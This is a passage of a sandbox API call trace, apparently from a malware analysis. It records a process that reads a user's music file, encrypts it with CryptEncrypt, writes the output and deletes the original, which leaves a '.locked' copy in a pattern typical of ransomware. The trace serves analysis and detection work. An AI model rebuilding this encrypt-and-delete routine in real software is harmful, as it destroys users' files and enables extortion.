Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.347] CryptGenRandom (in: hProv=0x4396a38, dwLen=0x10, pbBuffer=0x6afb3fc | out: pbBuffer=0x6afb3fc) returned 1 [0134.347] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.347] CryptDuplicateKey (in: hKey=0x8e84fb8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84bb8) returned 1 [0134.347] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.347] CryptSetKeyParam (hKey=0x8e84bb8, dwParam=0x4, pbData=0x6afc6b8*=0x1, dwFlags=0x0) returned 1 [0134.347] CryptSetKeyParam (hKey=0x8e84bb8, dwParam=0x1, pbData=0x6afc684, dwFlags=0x0) returned 1 [0134.347] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x17f0\x438\x242") returned 0x0 [0134.347] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.347] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.347] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.348] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.348] ReadFile (in: hFile=0x858, lpBuffer=0x6affc14, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6affc14*, lpNumberOfBytesRead=0x99ae7a8*=0xae91, lpOverlapped=0x0) returned 1 [0134.349] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b13c20*, pdwDataLen=0x99ae79c*=0xae90, dwBufLen=0xae90 | out: pbData=0x6b13c20*, pdwDataLen=0x99ae79c*=0xae90) returned 1 [0134.349] WriteFile (in: hFile=0x874, lpBuffer=0x6afb4bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6afb4bc*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0134.350] WriteFile (in: hFile=0x874, lpBuffer=0x6b14c0c*, nNumberOfBytesToWrite=0x9ea4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6b14c0c*, lpNumberOfBytesWritten=0x99ae780*=0x9ea4, lpOverlapped=0x0) returned 1 [0134.351] ReadFile (in: hFile=0x858, lpBuffer=0x6affc14, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6affc14*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0134.351] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b1ead4*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6b1ead4*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0134.351] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b1eb08*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6b1eb08*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0134.351] WriteFile (in: hFile=0x874, lpBuffer=0x6afb4bc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6afb4bc*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0134.351] CloseHandle (hObject=0x874) returned 1 [0134.353] CloseHandle (hObject=0x858) returned 1 [0134.353] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.354] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.354] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.354] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.354] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.358] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3")) returned 0x20 [0134.359] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.359] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.359] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.359] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.359] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.359] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.359] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.359] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.359] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.359] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.359] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.360] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.360] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.360] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.360] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.360] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.360] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.360] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw")) returned 0x10 [0134.360] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw")) returned 0x10 [0134.360] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", lpFilePart=0x0) returned 0x25 [0134.360] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", lpFilePart=0x0) returned 0x25 [0134.360] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3")) returned 0x20 [0134.360] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0134.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3\\", lpFilePart=0x0) returned 0x3b [0134.361] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0134.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0134.361] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0134.361] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0134.361] CoTaskMemFree (pv=0x8eb8930) [0134.362] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3")) returned 0x20 [0134.362] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.362] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0134.363] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3"), fInfoLevelId=0x0, lpFileInformation=0x692f2ac | out: lpFileInformation=0x692f2ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561d9190, ftCreationTime.dwHighDateTime=0x1d4a6ca, ftLastAccessTime.dwLowDateTime=0x38fb41e0, ftLastAccessTime.dwHighDateTime=0x1d4a362, ftLastWriteTime.dwLowDateTime=0x38fb41e0, ftLastWriteTime.dwHighDateTime=0x1d4a362, nFileSizeHigh=0x0, nFileSizeLow=0xae91)) returned 1 [0134.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0134.363] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3")) returned 1 [0134.369] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.369] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.369] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.369] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.369] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.371] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3.locked")) returned 0x20 [0134.371] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3.locked")) returned 0x20 [0134.371] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked", lpFilePart=0x0) returned 0x41 [0134.371] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked", lpFilePart=0x0) returned 0x41 [0134.371] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.371] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.372] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.372] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.372] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.372] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.374] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.374] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.374] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.374] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.374] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.375] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.375] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.376] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.376] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.376] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.377] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, 